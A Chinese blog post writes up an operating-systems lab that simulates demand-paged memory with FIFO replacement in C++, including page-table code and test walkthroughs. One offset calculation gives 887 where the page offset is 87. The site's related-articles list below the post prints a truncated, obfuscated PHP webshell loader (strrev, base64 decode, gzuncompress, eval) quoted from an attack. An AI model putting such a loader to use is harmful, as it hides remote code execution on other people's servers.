2024-06-23 操作系统实验5——模拟页式存储管理

文章目录

    • 一、实验目的
    • 二、实验内容
    • 三、实验过程
    • 四、结果测试
    • 五、实验总结和说明

补录与分享本科实验,以示纪念。

一、实验目的

通过编写和调试请求页式存储管理的模拟程序以加深对请求页式存储管理方案的理解。

二、实验内容

页面淘汰算法可采用FIFO置换算法(或者其他置换算法),在淘汰一页时,判断它是否被改写过,如果被修改过,将它写回到外存上。

数据结构:

(1)虚地址结构

(2)页表结构

#define N 64 // 最大页数 64
#define PAGE_SIZE 1024  // 每页大小 1024
// 页表结构
struct {int lNumber; // 页号int pNumber; // 物理块号int dNumber; // 在磁盘上的位置int write;   // 修改标志int flag;    // 存在标志
} page[N];

(3)存放页号的队列 p[m]m 为分配给进程的内存块数。当装入一个新的页面时,将其页号存入数组。在模拟试验中,采用页面预置的方法。
请求页式存储管理算法的流程图如下:

图1:请求页式存储管理模拟程序的完整流程图
图2:一条指令执行的模拟流程图

三、实验过程

实验采用C++语言进行编写。

1、代码结构

int main() {// 创建页表,记录长度int len = createTable();// 打印页表printTable(len);// 获取内存块数int memoryBlocks = getMemoryBlocks(len);printTable(len);// 执行用户指令runUserCommand(len, memoryBlocks);return 0;
}

一共分为3个部分:创建页表、获取内存块、执行用户指令。

2、createTable():创建页表

/*** 创建页表* @return 页表长度*/
int createTable() {cout << "输入页表的信息,创建页表(输入 -1 则结束)\n";int input;int i = 0;while (true) {cout << "输入第 " << i << " 页的辅存地址:";cin >> input;if (input == -1) break;page[i].lNumber = i;page[i].pNumber = 0;page[i].dNumber = input;page[i].write = 0;page[i].flag = 0;i++;}return i;
}

3、getMemoryBlocks():获取内存块

/*** 获取主存块号* @param len 页表长度,作为主存块数上限* @return 主存块数*/
int getMemoryBlocks(int len) {cout << "输入主存块号,总数需小于 " << len << ",(-1 则结束):\n";int input;int i = 0;while (i < len) {cout << "第 " << i << " 个主存块号:";cin >> input;if (input == -1) break;page[i].pNumber = input;page[i].flag = 1;i++;}return i;
}

4、runUserCommand():执行用户指令

/*** 执行用户指令* @param tableLen 页表长度* @param blockNum 主存块数*/
void runUserCommand(int tableLen, int blockNum) {int modify = 0;        // 用户第一个输入,是否修改int exitSig = 0;       // 退出标记int input;             // 接受用户输入int replace[blockNum]; // 循环队列实现 FIFOint in = 0;            // 进队列的位置int out = 0;           // 出队列的位置// 初始化循环队列for (int i = 0; i < blockNum; i++) {replace[i] = i;in++;in = in % blockNum;}// 进入操作循环while (true) {cout << "输入指令性质(1-修改,0-不修改,其他-结束运行)和逻辑地址:\n";cin >> input;// 第一个输入if (input == 1)modify = 1;else if (input == 0)modify = 0;elseexitSig = 1;// 输入逻辑地址int addr = 0;cin >> addr;// 求逻辑地址最大值int maxAddr = tableLen * PAGE_SIZE - 1;// 页不存在if (addr > maxAddr || input < 0) {cout << "不存在该页\n";continue;}// 得到逻辑地址所在页号int pageIndex = addr / PAGE_SIZE;// 记录页内偏移量,用于计算物理地址int left = addr % PAGE_SIZE;// 命中if (page[pageIndex].flag) {// 物理地址计算int physic = page[pageIndex].pNumber * PAGE_SIZE + left;cout << "逻辑地址是: " << addr << " 对应物理地址是:" << physic << "\n";// modify 为 1 时置写标记if (modify == 1)page[pageIndex].write = 1;}// 未命中else {// 打印用户要访问的页cout << "访问第 " << pageIndex << " 页不在内存,发生缺页中断\n";// 利用循环队列找出将被换出的页号 outNumint outNum = replace[out];// 出指针前进一位out++;out = out % blockNum;// 考虑将被换出的页有没有修改过,如果有须写回if (page[outNum].write == 1) {cout << "将 " << outNum << " 页写回磁盘第 " << page[outNum].dNumber << " 块\n";page[outNum].write = 0;}cout << "淘汰主存块 " << page[outNum].pNumber << " 中的页 " << outNum << ",从磁盘第 " << page[pageIndex].dNumber<< " 块中调入页 " << pageIndex << "\n";// 换入// 存在标记置 1,主存块号就是即将被换出的主存块号,如果有写标记则置写标记page[pageIndex].flag = 1;page[pageIndex].pNumber = page[outNum].pNumber;page[pageIndex].write = modify;// 刚换进的页面要进入循环队列replace[in] = pageIndex;in++;in = in % blockNum;// 换出// 标记位置 0,主存块号置 0page[outNum].flag = 0;page[outNum].pNumber = 0;// 计算物理地址int physic = page[pageIndex].pNumber * PAGE_SIZE + left;cout << "逻辑地址是:" << addr << " 对应物理地址是:" << physic << endl;}// 退出标记为 1,退出循环结束程序if (exitSig == 1) break;printTable(tableLen);}
}

5、printTable():打印页表

/*** 打印页表* @param len 页表长度*/
void printTable(int len) {cout << "页表内容:\n";for (int i = 0; i < len; i++) {cout << "page[" << i << "].lNumber = " << page[i].lNumber << "    "<< "page[" << i << "].pNumber = " << page[i].pNumber << "    "<< "page[" << i << "].flag = " << page[i].flag << "\n";}
}

四、结果测试

1、创建5个页表的进程,赋予3个内存块:

2、修改逻辑地址为1111的内容,其所在页号为1,页内偏移量为1111-1024=887。对应物理地址应改为3*1024+87:

3、修改逻辑地址为4200的内容,其不在进程的页表中,发生替换。这里因为被替换的第0页没有发生修改,因此不写回。

4、修改逻辑地址为3200的内容,其不在进程的页表中,发生替换。这里因为被替换的第1页发生了修改,因此写回。

5、读取逻辑地址为100的内容,其不在进程的页表中,发生替换。这里因为被替换的第5页没有发生修改,因此不写回。

可以看出,本次实验采用的替换算法为FIFO算法。
实验环境为Windows10中文家庭版,使用的编辑器为Clion。

五、实验总结和说明

实验采用的是最容易实现的FIFO页面替换算法,虽然实际应用中几乎不使用。本次实验的主体部分还是地址变换机构,对于页面替换仅仅是通过打印消息来代替其实现。在完成实验的同时,也巩固了有关方面的知识,大大加深了对请求页式存储管理方案的理解。

以上内容仅代表个人,代码纯属原创,如有错误请自行修改。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/857885.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

yolo评价指标

【目标检测】YOLOv5&#xff1a;添加漏检率和虚检率输出 https://www.cnblogs.com/sixuwuxian/p/18064044 【YOLOv5】推理、训练、验证参数解释_yolov5推理-CSDN博客 详解&#xff1a;yolov5中推理时置信度&#xff0c;设置的conf和iou_thres具体含义_con-thres和iou-thres分…

从理论到实践掌握UML

统一建模语言&#xff08;UML&#xff09;是软件工程师用来设计软件系统的一种工具&#xff0c;就像是一套图形化的说明书。它让开发团队能够以图形化的方式来理解、设计和开发软件系统&#xff0c;比起用文字来描述&#xff0c;更加直观易懂。本文通过UML实例化的理论和实践相…

ROS | 常见故障排查

1.开启后发出一个WIFI WIFI名字&#xff1a;WHEELTEC接数字 安全密钥&#xff1a;dongguan 2.显示屏接口 USB接口接键鼠 3.远程登录命令 ssh -Y wheeltec192.168.0.100 是小车发出的WIFI的一个IP地址 4. 登录后确保IP地址 ip a 看一下 当前ip地址 倒数第四行-当前ip地址 1…

django学习入门系列之第三点《CSS基础样式介绍3》

文章目录 浮动什么是浮动浮动的特性清除浮动 往期回顾 浮动 什么是浮动 float属性用于创建浮动框&#xff0c;将其移动到一边&#xff0c;直到左边缘或右边缘触及包含块或另一个浮动框的边缘。 浮动的特性 浮动元素会脱离标准流(脱标) 浮动的元素会一行内显示并且元素顶部对…

2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第四部分)【AI测试版】

第四部分:人类基因组的伦理、法律和社会问题(ELSI) 摘要: 本部分探讨了人类基因组计划所引发的伦理、法律和社会问题(ELSI),这些问题涉及基因信息的所有权、隐私权、基因歧视以及基因技术在社会中的运用等方面。 学习目标: 理解人类基因组计划实施过程中所引发的ELS…

探索Twig:优雅、灵活的PHP模板引擎

1. 介绍 在现代的 Web 开发中&#xff0c;模板引擎是一种常见的工具&#xff0c;用于将应用程序的逻辑和视图分离开来&#xff0c;使得开发过程更加清晰和高效。PHP Twig 是一种流行的模板引擎&#xff0c;它为 PHP 开发者提供了一个强大而灵活的工具&#xff0c;用于构建动态…

PHP木马原文

攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…

用java画一个抽奖时用的圆盘,感觉还挺好看的。

用java画一个抽奖时用的圆盘&#xff0c;感觉还挺好看的。请看封面样式&#xff0c;就是样例。不过是随机的。每一次都不一样。 import javax.swing.*; import java.awt.*; import java.awt.geom.Arc2D; import java.util.Random; public class PaintDisc extends JPanel {Ove…

2024-06-22力扣每日一题

链接&#xff1a; 2663. 字典序最小的美丽字符串 题意 略 解&#xff1a; 要求字符串内不存在任何长度为 2 或更长的回文子字符串&#xff0c;则在任意位置不存在aa或aba形式 由于要被给定字符串字典序大&#xff0c;且找到符合条件的字典序最小字符串&#xff0c;则竟可…

51单片机STC89C52RC——6.3 定时器/计数器 实现计时功能(定时器+中断系统+LCD1602液晶显示器)

目录 目的/效果 一&#xff0c;STC单片机模块 二&#xff0c;定时器 中断系统LCD1602显示 三&#xff0c;创建Keil项目 四&#xff0c;代码 五&#xff0c;代码编译、下载到51单片机 ​ 目的/效果 用定时器实现系统中断&#xff0c;计时信息显示在LCD1602上。效果如下 …

springAI(一)

目录 一、spring AI 目的 二、spring AI 来源 三、sprig AI 是什么&#xff1f; 四、spring AI中的 概念 4.1、模型&#xff08;Models&#xff09; 4.2、提示&#xff08;Prompts&#xff09; 4.3、提示模板&#xff08;Prompt Templates&#xff09; 4.4、令 牌&#…

Axios-入门

介绍 Axios对原生Ajax进行了封装&#xff0c;简化书写&#xff0c;快速开发 官网&#xff1a;Axios中文文档 | Axios中文网 (axios-http.cn) 入门 1引入Axios的js文件 <script src"js/axios.js"></script> 2使用Axios发送请求&#xff0c;并获取响应…

系统架构师考点--嵌入式技术

​大家好。今天来总结一下嵌入式技术的考点。该考点分值3-5分&#xff0c;上午场选择题和下午场案例题都可能会考&#xff0c;但不是每年都考。 一、嵌入式微处理体系结构 冯诺依曼结构&#xff1a;传统计算机采用冯诺依曼(Von Neumann)结构&#xff0c;也称普林斯顿结构是一…

动画与帧率

先看视频&#xff0c;同样的代码&#xff0c;左侧是240刷显示器&#xff0c;右侧是60刷显示器&#xff0c;但是动画中粒子的运动速度不同。 原因是机器的帧率导致了基于帧的动画显示效果不同。 动画的移动距离是相同的&#xff0c;但是在240刷的显示器上&#xff0c;每秒移动…

【代码随想录】【算法训练营】【第45天】 [198]打家劫舍 [213]打家劫舍II [337]打家劫舍III

前言 思路及算法思维&#xff0c;指路 代码随想录。 题目来自 LeetCode。 day 45&#xff0c;周五&#xff0c;坚持不了一点~ 题目详情 [198] 打家劫舍 题目描述 198 打家劫舍 解题思路 前提&#xff1a; 思路&#xff1a; 重点&#xff1a; 代码实现 C语言 虚拟头…

中国科学院西北生态环境资源研究院联合多单位在《PNAS》发文:气候变暖对多年冻土区地上与地下生物量分布的影响

文章简介 论文名称&#xff1a;Changes in above-versus belowground biomass distribution in permafrost regions in response to climate warming&#xff08;气候变暖对多年冻土区地上与地下生物量分布的影响&#xff09; 第一作者及单位&#xff1a;贠汉伯&#xff08;研…

深度学习大体过程

一、深度学习的神秘面纱 深度学习&#xff0c;就像是一个超级魔法师&#xff0c;它能够从海量的数据中提炼出隐藏的秘密&#xff0c;然后利用这些秘密来预测未来、识别图像、翻译语言……简直是无所不能&#xff01;那么&#xff0c;这个魔法师是怎么工作的呢&#xff1f; 二…

代码随想录训练营Day 66|卡码网101.孤岛的总面积、102.沉没孤岛、103.水流问题、104.建造最大岛屿

1.孤岛的总面积 101. 孤岛的总面积 | 代码随想录 代码&#xff1a;(bfs广搜) #include <iostream> #include <vector> #include <queue> using namespace std; int dir[4][2] {1,0,0,1,-1,0,0,-1}; int count; void bfs(vector<vector<int>>&a…

SCI一区TOP|双曲正弦余弦优化算法(SCHO)原理及实现【免费获取Matlab代码】

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献5.代码获取 1.背景 2023年&#xff0c;J Bai受到双曲正弦余弦函数启发&#xff0c;提出了双曲正弦余弦优化算法&#xff08;Sinh Cosh optimizer, SCHO&#xff09;。 2.算法原理 2.1算法思想 SCHO灵感来源…

1panel + Pbootcms 设置伪静态规则

这里确保我们引用的样式路径是否是这样的&#xff0c;&#xff08;不然可能会设置了伪静态无法加载样式&#xff09; //这种格式在不开起伪静态是可以引入的&#xff0c;一旦开启就不行了,一定要在static 前面加上反斜杠 /<link rel"stylesheet" href"{pbo…